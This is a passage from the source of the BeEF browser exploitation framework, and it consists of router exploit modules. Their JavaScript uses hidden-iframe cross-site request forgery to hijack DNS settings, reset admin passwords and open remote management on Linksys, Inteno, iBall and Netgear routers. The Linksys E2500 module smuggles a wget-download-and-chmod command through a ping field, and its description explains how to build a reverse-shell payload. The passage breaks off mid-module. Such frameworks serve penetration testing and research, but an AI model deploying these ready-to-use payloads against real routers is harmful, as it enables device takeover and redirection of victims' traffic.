    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var iball_baton_ib_wra150n_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(iball_baton_ib_wra150n_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/42192/\n#\nbeef:\n    module:\n        iball_baton_ib_wra150n_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"iBall Baton iB-WRA150N DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a iBall Baton iB-WRA150N router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Iball_baton_ib_wra150n_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var inteno_eg101r1_voip_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(inteno_eg101r1_voip_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/inteno_eg101r1_voip_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40368/\n#\nbeef:\n    module:\n        inteno_eg101r1_voip_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Inteno EG101R1 VoIP Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a Inteno EG101R1 VoIP router.<br/><br/>The Inteno EG101R1 VoIP router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/inteno_eg101r1_voip_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Inteno_eg101r1_voip_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/linksys_befsr41_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var timeout = 15;\n\n  var befsr41_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  befsr41_iframe_<%= @command_id %>.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0');\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(befsr41_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/linksys_befsr41_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        linksys_befsr41_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Linksys BEFSR41 CSRF\"\n            description: \"Attempts to enable remote administration and change the password on a Linksys BEFSR41 router.\"\n            authors: [\"Martin Barbella\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/linksys_befsr41_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Linksys_befsr41_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var port    = '<%= @port %>';\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"apply.cgi\", \"POST\", \"application/x-www-form-urlencoded\",\n       [{'type':'hidden', 'name':'submit_button', 'value':'Management'} ,\n       {'type':'hidden', 'name':'change_action', 'value':''},\n       {'type':'hidden', 'name':'action', 'value':'Apply'},\n       {'type':'hidden', 'name':'PasswdModify', 'value':'1'},\n       {'type':'hidden', 'name':'http_enable', 'value':'1'},\n       {'type':'hidden', 'name':'https_enable', 'value':'0'},\n       {'type':'hidden', 'name':'ctm404_enable', 'value':''},\n       {'type':'hidden', 'name':'remote_mgt_https', 'value':'1'},\n       {'type':'hidden', 'name':'wait_time', 'value':'4'},\n       {'type':'hidden', 'name':'need_reboot', 'value':'0'},\n       {'type':'hidden', 'name':'http_passwd', 'value':passwd},\n       {'type':'hidden', 'name':'http_passwdConfirm', 'value':passwd},\n       {'type':'hidden', 'name':'_http_enable', 'value':'1'},\n       {'type':'hidden', 'name':'_https_enable', 'value':'0'},\n       {'type':'hidden', 'name':'web_wl_filter', 'value':'0'},\n       {'type':'hidden', 'name':'remote_management', 'value':'1'},\n       {'type':'hidden', 'name':'_remote_mgt_https', 'value':'0'},\n       {'type':'hidden', 'name':'remote_upgrade', 'value':'1'},\n       {'type':'hidden', 'name':'remote_ip_any', 'value':'1'},\n       {'type':'hidden', 'name':'http_wanport', 'value':port},\n       {'type':'hidden', 'name':'nf_alg_sip', 'value':'0'},\n       {'type':'hidden', 'name':'upnp_enable', 'value':'1'},\n       {'type':'hidden', 'name':'upnp_config', 'value':'1'},\n       {'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'}\n      ]);\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(e2500_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        linksys_e2500_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Linksys E2500 CSRF\"\n            description: \"Attempts to enable remote administration and change the password on a Linksys E2500 router.\"\n            authors: [\"Esteban Rodriguez\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Linksys_e2500_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/apply.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar timeout = 15;\n\n\t// validate primary DNS server IP address\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tvar parts = dns1.split('.');\n\n\t// change DNS\n\tvar linksys_e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"POST\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'submit_button', 'value': 'index'},\n                {'type':'hidden', 'name':'change_action', 'value': ''},\n                {'type':'hidden', 'name':'submit_type', 'value': ''},\n\t\t\t\t{'type':'hidden', 'name':'action', 'value': 'Apply'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns', 'value': '4'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns0_0', 'value': parts[0]},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns0_1', 'value': parts[1]},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns0_2', 'value': parts[2]},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns0_3', 'value': parts[3]},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns1_0', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns1_1', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns1_2', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns1_3', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns2_0', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns2_1', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns2_2', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_dns2_3', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_wins', 'value': '4'},\n\t\t\t\t{'type':'hidden', 'name':'wan_wins_0', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_wins_1', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_wins_2', 'value': '0'},\n\t\t\t\t{'type':'hidden', 'name':'wan_wins_3', 'value': '0'},\n\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(linksys_e2500_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        linksys_e2500_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Linksys E2500 DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a Linksys E2500 router.\"\n            authors: [\"Esteban Rodriguez\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Linksys_e2500_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_shell/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var base    = '<%= @base %>';\n  var payload = '<%= @payload %>';\n  var random = Math.random().toString(36).substring(7);\n  var timeout = 15;\n\n\n  var e2500_iframe_2<%= @command_id %> = beef.dom.createIframeXsrfForm(base + \"apply.cgi\", \"POST\", \"application/x-www-form-urlencoded\",\n      [{'type':'hidden', 'name':'submit_button', 'value':'Diagnostics'} ,\n       {'type':'hidden', 'name':'change_action', 'value':'gozila_cgi'},\n       {'type':'hidden', 'name':'submit_type', 'value':'start_ping'},\n       {'type':'hidden', 'name':'action', 'value':''},\n       {'type':'hidden', 'name':'commit', 'value':'0'},\n       {'type':'hidden', 'name':'ping_ip', 'value':'192.168.1.1'},\n       {'type':'hidden', 'name':'ping_size', 'value':'&/tmp/' + random +'&'},\n       {'type':'hidden', 'name':'ping_times', 'value':'5'},\n       {'type':'hidden', 'name':'traceroute_ip', 'value':''},\n      ]);\n\n  var e2500_iframe_1<%= @command_id %> = beef.dom.createIframeXsrfForm(base + \"apply.cgi\", \"POST\", \"application/x-www-form-urlencoded\",\n      [{'type':'hidden', 'name':'submit_button', 'value':'Diagnostics'} ,\n       {'type':'hidden', 'name':'change_action', 'value':'gozila_cgi'},\n       {'type':'hidden', 'name':'submit_type', 'value':'start_ping'},\n       {'type':'hidden', 'name':'action', 'value':''},\n       {'type':'hidden', 'name':'commit', 'value':'0'},\n       {'type':'hidden', 'name':'ping_ip', 'value':'192.168.1.1'},\n       {'type':'hidden', 'name':'ping_size', 'value':'&/usr/bin/wget ' + payload + ' -O /tmp/' + random + ';chmod 777 /tmp/' + random + '&'},\n       {'type':'hidden', 'name':'ping_times', 'value':'5'},\n       {'type':'hidden', 'name':'traceroute_ip', 'value':''},\n      ]);\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(e2500_iframe_1<%= @command_id %>);\n    document.body.removeChild(e2500_iframe_2<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_shell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        linksys_e2500_shell:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Linksys E2500 Shell\"\n            description: \"Attempts to exploit a command execution vulnerability on a Linksys E2500 router. <br> It will wget a binary payload to the temp directory, change permissions, and run the binary.<br>Command to generate payload: <b>msfpayload linux/mipsle/shell_reverse_tcp LHOST=[Attacker IP]  X > reverse</b>\"\n            authors: [\"Esteban Rodriguez\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/linksys_e2500_shell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Linksys_e2500_shell < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'payload', 'ui_label' => 'Path to exploit payload', 'value' => 'http://192.0.2.2/payload' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/linksys_wrt54g2_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var port    = '<%= @port %>';\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var wrt54g2_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"Manage.tri\", \"POST\", \"application/x-www-form-urlencoded\",\n      [{'type':'hidden', 'name':'MANAGE_USE_HTTP', 'value':'0'} ,\n       {'type':'hidden', 'name':'MANAGE_HTTP', 'value':'1'},\n       {'type':'hidden', 'name':'MANAGE_HTTP_S', 'value':'0'},\n       {'type':'hidden', 'name':'MANAGE_PASSWORDMOD', 'value':'1'},\n       {'type':'hidden', 'name':'MANAGE_PASSWORD', 'value':passwd},\n       {'type':'hidden', 'name':'MANAGE_PASSWORD_CONFIRM', 'value':passwd},\n       {'type':'hidden', 'name':'_http_enable', 'value':'1'},\n       {'type':'hidden', 'name':'MANAGE_WLFILTER', 'value':'1'},\n       {'type':'hidden', 'name':'MANAGE_REMOTE', 'value':'1'},\n       {'type':'hidden', 'name':'MANAGE_PORT', 'value':port},\n       {'type':'hidden', 'name':'MANAGE_UPNP', 'value':'1'},\n       {'type':'hidden', 'name':'layout', 'value':'en'}\n      ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(wrt54g2_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/linksys_wrt54g2_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        linksys_wrt54g2_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Linksys WRT54G2 CSRF\"\n            description: \"Attempts to enable remote administration and change the password on a Linksys WRT54G2 router.\"\n            authors: [\"Martin Barbella\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/linksys_wrt54g2_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Linksys_wrt54g2_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/linksys_wrt54g_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var port    = '<%= @port %>';\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var wrt54g_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"manage.tri\", \"POST\", \"application/x-www-form-urlencoded\",\n      [\n          {'type':'hidden', 'name':'remote_mgt_https',   'value':'0'} ,\n          {'type':'hidden', 'name':'http_enable',        'value':'1'},\n          {'type':'hidden', 'name':'https_enable',       'value':'0'},\n          {'type':'hidden', 'name':'PasswdModify',       'value':'1'},\n          {'type':'hidden', 'name':'http_passwd',        'value':passwd},\n          {'type':'hidden', 'name':'http_passwdConfirm', 'value':passwd},\n          {'type':'hidden', 'name':'_http_enable',       'value':'1'},\n          {'type':'hidden', 'name':'remote_management',  'value':'1'},\n          {'type':'hidden', 'name':'web_wl_filter',      'value':'1'},\n          {'type':'hidden', 'name':'http_wanport',       'value':port},\n          {'type':'hidden', 'name':'upnp_enable',        'value':'1'},\n          {'type':'hidden', 'name':'layout',             'value':'en'}\n      ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(wrt54g_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/linksys_wrt54g_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        linksys_wrt54g_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Linksys WRT54G CSRF\"\n            description: \"Attempts to enable remote administration and change the password on a Linksys WRT54G router.\"\n            authors: [\"Martin Barbella\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/linksys_wrt54g_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Linksys_wrt54g_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar base = '<%= @base %>';\n\tvar sourceip = '<%= @sourceip %>';\n  var port = '<%= @port %>';\n  var acl = sourceip != '0.0.0.0' ? 'ip_address_list1' : 'all';\n  var parts = [];\n  if (sourceip != '0.0.0.0'){\n    parts = sourceip.split('.');\n  }\n\n\tvar netgear_iframe = beef.dom.createIframeXsrfForm(base, 'POST', 'application/x-www-form-urlencoded', [\n    { type: 'hidden', name: 'remote_mg', value: 'remote_mg' },\n    { type: 'hidden', name: 'rm_ip1', value: '' },\n    { type: 'hidden', name: 'rm_ip2', value: '' },\n    { type: 'hidden', name: 'rm_ip3', value: '' },\n    { type: 'hidden', name: 'rm_ip4', value: '' },\n    { type: 'hidden', name: 'rm_start_ip1', value: '' },\n    { type: 'hidden', name: 'rm_start_ip2', value: '' },\n    { type: 'hidden', name: 'rm_start_ip3', value: '' },\n    { type: 'hidden', name: 'rm_start_ip4', value: '' },\n    { type: 'hidden', name: 'rm_finish_ip1', value: '' },\n    { type: 'hidden', name: 'rm_finish_ip2', value: '' },\n    { type: 'hidden', name: 'rm_finish_ip3', value: '' },\n    { type: 'hidden', name: 'rm_finish_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip1_ip1', value: parts.length === 4 ? parts[0] : '' },\n    { type: 'hidden', name: 'rm_list1_ip1_ip2', value: parts.length === 4 ? parts[1] : '' },\n    { type: 'hidden', name: 'rm_list1_ip1_ip3', value: parts.lentgh === 4 ? parts[2] : '' },\n    { type: 'hidden', name: 'rm_list1_ip1_ip4', value: parts.length === 4 ? parts[3] : '' },\n    { type: 'hidden', name: 'rm_list1_ip2_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip2_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip2_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip2_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip3_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip3_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip3_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip3_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip4_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip4_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip4_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip4_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip5_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip5_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip5_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip5_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip6_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip6_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip6_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip6_ip4', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip7_ip1', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip7_ip2', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip7_ip3', value: '' },\n    { type: 'hidden', name: 'rm_list1_ip7_ip4', value: '' 